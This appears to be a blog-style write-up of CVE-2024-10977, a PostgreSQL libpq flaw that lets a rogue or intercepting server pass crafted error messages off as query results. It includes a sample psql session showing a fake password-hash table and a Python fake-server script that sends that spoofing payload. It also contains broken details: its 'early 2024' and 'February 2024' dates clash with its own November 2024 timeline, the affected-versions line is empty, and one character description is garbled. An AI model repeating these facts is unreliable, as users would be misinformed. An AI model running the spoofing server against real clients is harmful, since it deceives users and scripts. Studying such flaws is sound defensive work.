CVE-2024-10977 - How Attacker-Controlled Error Messages in PostgreSQL Client Libraries Can Risk Your Data

PostgreSQL is one of the world’s most popular and trusted database systems, supporting mission-critical apps for millions. But even PostgreSQL isn’t immune to mishaps. In early 2024, it was discovered that a subtle but potentially serious vulnerability had slipped past years of code review—and it affects every database user who connects to an untrusted server or crosses untrusted network paths.

In this deep-dive, we’ll break down CVE-2024-10977, how it works, show example exploits, discuss where it’s a risk, and help you double-check your own setup.

What is CVE-2024-10977?

CVE-2024-10977 is a vulnerability in the way PostgreSQL’s main client library (libpq) processes error messages received from a database server—including servers you’re not supposed to trust.

Short version:
Attackers controlling the server, or any attacker in the middle, can send back *arbitrary*, non-zero-terminated error messages. If your interface (such as in custom CLI clients, psql, or automations) fails to clearly mark what is an error message versus database output, you’re at risk of showing users or tools fake query results.

Official References

- PostgreSQL Security Release, February 2024
- CVE-2024-10977 at NVD

Affected Versions:

How Does The Exploit Work?

Let’s talk about what actually goes on under the hood.

Step 1: The (Malicious) Server Responds

Suppose a client connects to a PostgreSQL server. This could be your server, but it could also be a man-in-the-middle attacker, or a rogue server you didn’t expect.

If connection security settings—SSL or GSS—are not strict (say you didn’t enable sslmode=require or you used sslmode=prefer), the attacker can intercept or impersonate the server.

Step 2: Sending a Crafted Error

PostgreSQL clients expect error messages from the server for failed queries or protocol errors. These are sent as strings. However, the bug: previous versions of libpq accept error messages up to 4MB, with any bytes except literal zero-bytes (\), and they don’t strongly enforce message boundaries.

An attacker can (ab)use this by sending very long, *arbitrary* error messages that might look like real query results, log entries, or prompts.

Step 3: Fooling the User or Script

If your front-end doesn’t *clearly* show when a message came from an error and when it’s a query result—or if the error is piped directly into logs or other scripts—the fake error output could be *misinterpreted* as success data or valid database output.

Classic example:
Screen scrapers, automated tools, or even humans misreading terminal output might treat attacker-generated error messages as genuine data.

Example Scenario in Practice: Terminal Output

Say you connect to the database with psql (or a script that behaves like it), and you make a SELECT query:

psql -h malicious.database.com -U victim dbname
dbname=> SELECT * FROM users WHERE id=1;

The compromised server (or MITM) responds with a crafted error message

ERROR: user_id | username  | password_hash
1       | alice     | $2b$12$oddhashe
2       | bob       | $2b$12$different
-- End of data --

If your interface or script just pipes all output somewhere without clearly marking errors and data, some consumer down the pipeline could treat this as a valid result, when it’s attacker-supplied garbage.

Exploit Code Example

Suppose the attacker is running a *fake* PostgreSQL server. Here’s a Python snippet that makes a bare-bones malicious “server” that sends a fake error message the moment a client connects:

import socket
import time

HOST = '...'
PORT = 5432

# A realistic bogey error message mimicking output
payload = b"E" + b"user_id | username  | password_hash\n"
payload += b"1       | alice     | $2b$12$oddhashe\n"
payload += b"2       | bob       | $2b$12$something\n"
payload += b"-- End of data --\n"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    print(f"Fake PostgreSQL server waiting for connections on {HOST}:{PORT}")
    while True:
        conn, addr = s.accept()
        with conn:
            print(f"Accepted connection from {addr}")
            time.sleep(1)  # let the client send initial handshake (ignored)
            # Send error payload pretending to be the server
            conn.sendall(payload)
            conn.close()

This is oversimplified, but a more advanced emulation can perfectly mimic protocol handshakes well enough to confuse older clients.

Mitigations & Who Should Worry

Are you at risk?
- If your client _connects to trusted servers only, over SSL with certificate validation_, you’re safe.
- If your user interface _clearly_ separates error messages and data, your human users likely won’t be fooled.
- If you interact with PostgreSQL via scripts or logs where error message boundaries are _not clear_, attackers could sneak in misleading content.
- If you rely on _output parsing_ (i.e., screen scraping or log scrapers) with ambiguous streams, patch immediately.

Steps to Take

1. Update PostgreSQL. Upgrade libpq and your PostgreSQL client/server installation to these versions or newer:

17.1, 16.5, 15.9, 14.14, 13.17, 12.21

2. Enforce Secure Connections. Use sslmode=require and certificate validation in your connection string.
3. Improve Output Disambiguation. Make error channels and data channels unambiguously separated in your UIs, logs, scripts.

Conclusion

While not as headline-grabbing as data leaks or SQL injection, CVE-2024-10977 shows how even error messages can be a risk when trust boundaries are crossed. If a message can sneak through the client and fool a person or a script, post-exploit confusion is easy.

Always upgrade. Audit your logging and parsing. And when in doubt, don’t trust “results” that come from where errors go.

Timeline

Published on: 11/14/2024 13:15:04 UTC
Last modified on: 11/15/2024 13:58:08 UTC